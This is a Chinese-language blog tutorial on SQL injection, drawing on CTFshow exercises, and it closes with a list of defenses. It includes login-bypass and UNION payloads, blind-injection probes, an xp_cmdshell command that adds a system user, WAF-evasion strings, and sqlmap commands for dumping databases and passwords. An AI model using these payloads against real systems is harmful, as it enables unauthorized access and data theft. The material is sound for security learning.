SQL注入

First Post:

Last Update:

安全无止境,继续前进吧!

SQL注入,作为危害性强的漏洞之一,造成的后果相当严重,
小到信息泄露,大到系统损毁……
你问我怎么知道这些?学的。
怎么突然想学这个?……请不要追问。
(她想起了被某只白狼调戏的回忆)
–by Texas

细节决定成败,SQL注入玩的就是不严谨的前后端交互

热身:简单的密码绕过

1
2
3
4
5
6
7
8
9
10
原验证登陆语句:
SELECT * FROM admin WHERE Username= '".$username."' AND Password= '".md5($password)."'

payload:
1' or '1'='1
1' or 1=1 or '1'='1

注入后的语句:
SELECT * FROM admin WHERE Username='1' OR '1'='1' AND Password='EDFKGMZDFSDFDSFRRQWERRFGGG'
SELECT * FROM admin WHERE Username='1' OR 1=1 OR '1'='1' AND Password='EDFKGMZDFSDFDSFRRQWERRFGGG'

注入后,不论密码是否正确,1=1 or ‘1’=’1’永远成立,成功绕过密码验证环节;

漏洞成因

  1. 可控参数未过滤或者过滤不严谨
    Web应用系统的许多功能需要前后端交互,如果没有对参数进行安全验证,就可能会出现注入漏洞;

  2. 危险存储过程
    没有对交互过程进行威胁内容过滤,很可能造成注入漏洞;

  3. 前后端交互
    与数据库交互,这种行为本身就可能存在注入漏洞;

注入类型

数字型注入

一般出现在弱类型语言(如ASP、PHP等)中,因为这种语言会自动推导变量类型;
而对于强类型语言(如Java、C#等),普通的类型转换会抛出异常而无法继续执行,所以一般不存在数字型注入漏洞。
当传入的参数为整型变量时,若存在注入漏洞,则一般是数值型注入漏洞。

数字型注入典型示例代码:

1
2
3
4
$id=$_get['id'];
$sql="select * from user where id=$id limit 0,1";
$result=mysql_query($sql);
$row=mysql_fetch_array[$result];

字符型注入

进行字符型注入,必须注意字符闭合问题;
字符型注入典型示例代码:

1
2
3
4
$id=$_get['id'];
$sql="select * from user where id='$id' limit 0,1";
$result=mysql_query($sql);
$row=mysql_fetch_array[$result];

搜索型注入

1

探测芝士

页面比较法

利用SQL语句构造恒真、恒假两种不同状态,
如果目标存在SQL注入漏洞,那么恒真状态不会对网页内容产生较大改变,但恒假状态会明显改变网页内容,
通过比较两个网页的相似程度(可借助页面相似度算法),就可以判定页面是否存在注入漏洞;

数字型注入

1
2
3
4
5
6
7
8
1. 单引号判断法:
url/xxx.php?id=1' # 若页面返回错误,则当前网页存在SQL注入'

2. 恒真状态:
url/xxx.php?id=1 and 1=1 # 若页面正常执行,则当前网页存在SQL注入

3. 恒假状态:
url/xxx.php?id=1 and 1=2 # 若页面返回错误,则当前网页存在SQL注入

字符型注入

1
2
3
4
5
6
7
8
1. 单引号判断法:
url/xxx.php?id=1' # 若页面返回错误,则当前网页存在SQL注入'

2. 恒真状态:
url/xxx.php?id=1 and '1'='1 # 若页面正常执行,则当前网页存在SQL注入'

3. 恒假状态:
url/xxx.php?id=1 and '1'='2 # 若页面返回错误,则当前网页存在SQL注入'

搜索型注入

1
2
3
4
5
6
7
8
1. 单引号判断法:
url/xxx.php?id=1%' # 若页面返回错误,则当前网页存在SQL注入'

2. 恒真状态:
url/xxx.php?id=1%' and 1=1 and '%'=' # 若页面正常执行,则当前网页存在SQL注入

3. 恒假状态:
url/xxx.php?id=1%' and 1=2 and '%'=' # 若页面返回错误,则当前网页存在SQL注入'

时间比较法

注入芝士-通用篇

以下注入步骤基本适用于所有数据库语言,只是不同数据库语言之间语法上存在一些差异;

错误信息收集

SQL Server能够准确定位错误信息,黑客可以利用错误信息提取数据,便于进行报错注入;

获取元数据

  1. 使用信息数据库INFORMATION_SCHEMA查询数据库名:
    1
    SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1
  2. 查询当前数据库表:
    1
    SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=(SELECT DATABASE()) LIMIT 0,1
  3. 查询指定表的所有字段:
    1
    SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='XXX' LIMIT 0,1

Order by语句

MySQL数据库的排序语句;在SQL注入中,order by语句可用于判断表列数;
举个例子:

1
2
3
4
5
6
7
8
9
10
11
12
正常语句:
select id, username, password, from users where id = 1
按第一列排序(正常):
select id, username, password, from users where id = 1 Order by 1
按第二列排序(正常):
select id, username, password, from users where id = 1 Order by 2
按第三列排序(正常):
select id, username, password, from users where id = 1 Order by 3
按第四列排序(异常!):
select id, username, password, from users where id = 1 Order by 4
消息108,级别16,状态1,第1
ORDER BY 位置号 4 超出了选择列表中项数的范围。

由此可以判断出表列数为:3;

UNION查询(联合查询注入)

当SQL查询结果可以通过UNION SELECT语句与其他查询结果合并时,可以插入恶意的UNION SELECT语句来尝试检索额外的数据库信息;

探测字段数(表列数)

1
2
3
4
5
6
7
select id, username, password, from users where id = 1 union select null
select id, username, password, from users where id = 1 union select null,null
select id, username, password, from users where id = 1 union select null,null,null
……

另一种写法(不建议这样写,在有些语言中会出现类型不兼容的问题):
select id, username, password, from users where id = 1 union select 1, 2, 3 ……

如果出错,继续递归查询,直到没有错误产生;

查询敏感信息

在已知表列数x时,可以使用以下语句继续注入(报错就切换’x’的位置):

1
2
3
4
5
# 假设表列数x = 4
union select 'x', null, null, null from sysobject where xtype='U'
union select null, 'x', null, null from sysobject where xtype='U'
union select null, null, 'x', null from sysobject where xtype='U'
union select null, null, null, 'x' from sysobject where xtype='U'

当上面某条语句正常执行时,说明数据类型兼容,可以将’x’部分替换为SQL语句查询敏感信息;

危险函数

SQL Server的一些危险函数:

1
2
3
4
5
6
7
8
9
select suser_name():返回用户的登录标识名;

select user_name():基于指定的标识号返回数据库用户名;

select db_name():返回数据库名称;

select is_member('db_owner'):判断是否为数据库角色;

select convert(int, '5'):数据类型转换;

危险存储过程

存储过程是指大型数据库系统中用于完成特定功能的一组“SQL函数”;
黑客最常使用”xp_cmdshell”存储过程,该存储过程允许用户执行系统命令;

1
2
3
4
5
payload:
?id=1; exec xp_cmdshell 'net user test test /add'

最终执行SQL语句:
select * from table where id=1; exec xp_cmdshell 'net user test test /add'

此外,黑客也可能会自行编写存储过程,比如I/O操作(文件读/写);
注意:任何数据库在使用特殊存储过程时,都需要有特定的权限,否则无法使用

动态执行

SQL Server支持动态执行语句,
用户可以提交一个字符串来执行SQL语句;

注入芝士-MySQL特辑

大部分网站均采用MySQL作为主流数据库语言,所以单独研究它是很有必要的

MySQL注释

MySQL支持以下三种注释:

  1. #:注释其后的所有语句;

  2. -- (此处有空格或Tab):注释其后的所有语句;
    因为在传输过程中,空格往往会被忽略掉,而’+’会被解释成空格,所以一般改用’–+’;

  3. /**/:注释其中的所有内容;

显错式注入

利用数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中;
通过观察数据库错误消息中的敏感信息,推断数据库结构或内容;
适用于联合查询不可用的时候,但仍然依赖于一些关键函数(过滤后失效);

宽字节注入

由编码方式不统一所造成,一般出现在PHP+MySQL当中;
在PHP的配置文件php.ini中,存在magic_quotes_gpc选项(魔术引号),
当此选项启用时,所有使用GET、POST、Cookie接收的'、"、\和NULL都会被自动添加转义符号’\‘;

使用“%1$ + 字符”可以消除字符前自动添加的转义符号’\‘(与sprintf()格式化字符串漏洞的利用方法相似);
不妨引入一个例子(CTFshow_Web_萌新赛_给她,分值:1):

1
2
3
4
5
6
7
8
初始执行语句:
select * from user where name='' and pass=''

payload:
?name=1&pass=1%1$' or %1$'1%1$'=%1$'1

注入后语句:
select * from user where name='1' and pass='1' or '1'='1'

使用以下测试语句可以判断是否存在空格过滤:

1
2
1 or 1=1
1 or

若两次测试均出现”sql inject error”报错,则说明页面存在空格过滤规则,
使用/**/、’+’、%09均可替换空格绕过过滤;

长字符截断

MySQL中有一个名为sql_mode的选项;
当sql_mode设置为default,即STRICT_ALL_TABLES选项没有开启时,MySQL对超长插入只会显示警告而不会报错,这可能会导致截断问题;

比如我们新建一张表:

1
2
3
4
5
CREATE TABLE USERS(
id int(11) NOT NULL,
username varchar(7) NOT NULL, # 设置规定长度为7
password varchar(12) NOT NULL
)

插入正常语句:

1
2
mysql> insert into users(id, username, password) values(1, 'admin', 'admin');
Query OK. i row affected (0.00 sec) # 成功插入,无警告

插入错误语句(长度为8,已超出规定长度):

1
2
mysql> insert into users(id, username, password) values(2, 'admin   ', 'admin');
Query OK. i row affected, 1 warning (0.00 sec) # 成功插入,一个警告

插入错误语句(长度为9,已超出规定长度):

1
2
mysql> insert into users(id, username, password) values(2, 'admin   x', 'admin');
Query OK. i row affected, 1 warning (0.00 sec) # 成功插入,一个警告

验证:

1
2
3
4
5
6
7
8
mysql> select username from users;
+------------+
| username |
+------------+
| admin |
| admin |
| admin |
+------------+

已成功插入;
此时如果执行登录判断语句,非管理员账号”admin “和”admin x”均可以登录到管理员界面;

由此可知,在默认情况下,如果数据超出列默认长度,MySQL会自动将其截断,这可能会导致一些安全问题;
实际操作中,上限长度可能会比较长,可以尝试在名称中加入更多空格符测试页面是否存在长字符截断漏洞;

布尔盲注

通过修改输入参数并观察应用程序的响应,利用SQL语句的逻辑(如EXISTS、AND、OR等)推断出数据库中的信息;
正确时,页面正常返回;出错时,页面通常会返回错误页面或空白页;
一般通过编写自动化脚本进行;

延时盲注

基于时间差的一种盲注技术,利用SQL中的延时函数制造查询延时,
通过观察页面响应时间来推断SQL语句是否被执行;
MySQL有一个函数:SLEEP(duration),用于在规定秒数duration后执行语句:

1
select * from users where id=1 and sleep(3);

我们可以通过这个函数判断网页是否存在SQL注入漏洞;

1
2
3
4
?id=1                # 正常执行,耗时1
?id=1 ' # 正常执行,耗时1秒
?id=1 ' and 1=1 # 正常执行,耗时1
?id=1 and sleep(3) # 正常执行,耗时3

通过页面响应的时间可以判断出sleep()被执行,当前网页存在SQL注入漏洞;
我们可以通过延时注入,读取当前MySQL用户:

  1. 查询当前用户,取得字符串长度
    1
    and if(length(user())=0, sleep(3), 1)
    若出现3秒延时,则可以判断出user字符串的长度,注入时一般使用穷举法或者二分法;
  2. 截取字符串的第一个字符,转换为ASCII码
    取出user字符串的第一个字,与ASCII码循环对比;
    1
    and if(hex(mid(user(),1,1))=1, sleep(3), 1)
  3. 将第一个字符的ASCII与ASCII码表对比,如果对比成功就延时3秒;
    1
    and if(hex(mid(user(),L,1))=N, sleep(3), 1)   # L代表字符串中的第几个字符,N代表对应的ASCII码
  4. 循环执行第二步和第三步,直到字符串截取完毕,成功获取用户名;

堆叠盲注

注入芝士-认识sqlmap

搞SQL注入,sqlmap无疑是你的得力助手;

基本命令

  1. 判断数据库类型:
    1
    2
    sqlmap -u URL
    sqlmap -u URL1 --referer URL2 --batch
  2. 查询当前用户下的所有数据库:
    1
    2
    sqlmap -u URL --dbs
    sqlmap -u URL1 --referer URL2 --dbs --batch
  3. 获取数据库中的表名:
    1
    2
    sqlmap -u URL -D dbName --tables
    sqlmap -u URL1 --referer URL2 -D dbName --tables --batch
  4. 获取表中字段名:
    1
    2
    sqlmap -u URL -D dbName -T TableName --columns
    sqlmap -u URL1 --referer URL2 -D dbName -T tableName --columns --batch
  5. 获取字段内容:
    1
    2
    sqlmap -u URL -D dbName -T TableName -C username password --dump
    sqlmap -u URL1 --referer URL2 -D dbName -T tableName -C columnName --dump --batch
  6. 获取数据库所有用户:
    1
    sqlmap -u URL --users
  7. 获取数据库用户的密码:
    1
    sqlmap -u URL --passwords
  8. 获取当前网站数据库的名称:
    1
    sqlmap -u URL --current -db
  9. 获取当前网站数据库的用户名称:
    1
    sqlmap -u URL --current -user

特殊用法

  1. 改变传输类型(GET -> POST)
    1
    sqlmap -u URL --data id=x
  2. 调整请求方式(表单传输 -> PUT)
    1
    sqlmap -u URL --method="PUT" --headers="Content-Type: text/plain"
  3. 提交cookie数据
    1
    sqlmap -u URL --cookie="COOKIE"
  4. api鉴权
    1
    sqlmap -u URL --safe-url=URL_TOKEN --safe-freq=1
  5. tamper绕过
    1
    sqlmap -u URL --tample xxx.py
    需要调用现成的python脚本绕过正则过滤;
    以下是一些常用脚本:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    apostrophemask.py	用utf8代替引号;
    base64encode.py 使用base64编码;
    multiplespaces.py 围绕SQL关键字添加多个空格;
    space2plus.py 用'+'替换空格;
    space2comment.py 用'/**/'替换空格;
    unionalltounion.py 替换UNION ALL SELECT UNION SELECT
    securesphere.py 追加特制的字符串;
    equaltolike.py 用'like'代替'='
    greatest.py 用GREATEST替换'>'
    space2mssqlhash.py 替换空格;
    between.py 用between替换'>'
    randomcase.py 使用随机大小写,绕过关键词过滤;
    versionedmorekeywords.py 注释绕过;
    halfversionedmorekeywords.py 在关键字前加注释;
    space2morehash.py 将空格替换为'#'以及更多随机字符串换行符;
    当然,当过滤严格时,有必要自行修改python脚本绕过过滤;

举些例子(常规注入,使用sqlmap是没有灵魂的)

(以下题目均来自CTFshow)

1
2
3
4
5
6
7
8
9
10
11
12
查询语句:
//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑:
//检查结果是否有flag
if($row->username!=='flag'){
$ret['msg']='查询成功';
}

payload:
1' union select 1, password from ctfshow_user2 --+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
查询语句:
//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑:
//检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

解题思路:
对于flag过滤,可以通过base64编码绕过;
对于数字过滤,利用replace()函数替换掉返回值中的数字,再将查询到的flag中被替换的字符恢复成原本模样;

payload:
' union select to_base64(username),REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(password,9,'I'),8,'H'),7,'G'),6,'F'),5,'E'),4,'D'),3,'C'),2,'B'),1,'A') ,0,'J') from ctfshow_user4 %23
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//拼接sql语句查找指定ID用户
查询语句:
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑
//对传入的参数进行了过滤
function waf($str){
//代码过于简单,不宜展示
}

解题思路:
存在黑盒过滤,试着用常规查询语句判断过滤的内容;

payload:
1' union select 1,2,group_concat(password) from ctfshow_user--+ # 判断出过滤了空格'
1'%09union%09select%09password,2,3%09from%09ctfshow_user%23 # 使用tab键代替空格'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
}

payload1:
-1'%0cor%0cusername%0clike%0c'flag

payload2:
-1'or(username=concat('fl','ag'))and'a'='a

WP参考链接:
https://blog.csdn.net/uuzeray/article/details/135839128
https://blog.csdn.net/Myon5/article/details/141040539

注入的危害

  1. 非法读取、篡改、添加、删减数据库中的数据;
  2. 规避认证;
  3. 通过修改数据库,篡改网页内容;
  4. 私自盗取用户信息、添加或删除账号;
  5. 注入木马程序;

防护策略

  1. 过滤单引号;
  2. 对所有来自外部的用户输入进行安全检查以及过滤;
  3. 使用类型安全的参数编码机制构造动态SQL语句;
  4. 尽量不使用动态拼接的SQL,使用参数化的SQL;
  5. 采用一系列安全措施加强的SQL服务器的配置与链接;
  6. 使用预编译功能封装编译查询语句;
SQL注入攻击一般通过目标服务器80端口进行,产生的请求信息与常规网页访问没有什么区别,所以一般的防火墙不会进行警告或拦截。

<- To be continued _(:3 ∠)__

  く__,.ヘヽ.        /  ,ー、 〉
           \ ', !-─‐-i  /  /´
           /`ー'       L//`ヽ、
         /   /,   /|   ,   ,       ',
       イ   / /-‐/  i  L_ ハ ヽ!   i
        レ ヘ 7イ`ト   レ'ァ-ト、!ハ|   |
          !,/7 '0'     ´0iソ|    |
          |.从"    _     ,,,, / |./    |
          レ'| i>.、,,__  _,.イ /   .i   |
            レ'| | / k_7_/レ'ヽ,  ハ.  |
              | |/i 〈|/   i  ,.ヘ |  i  |
             .|/ /  i:    ヘ!    \  |
              kヽ>、ハ    _,.ヘ、    /、!
              !'〈//`T´', \ `'7'ーr'
              レ'ヽL__|___i,___,ンレ|ノ
                  ト-,/  |___./
                  'ー'    !_,.:

6L+Z54K556iL5bqm5bCx5LiK6ZKp5LqG5LmI77yfCuKdpOW+t+WFi+iQqOaWr++8jOWBmuW+l+WIsOWQl++8n+KdpA==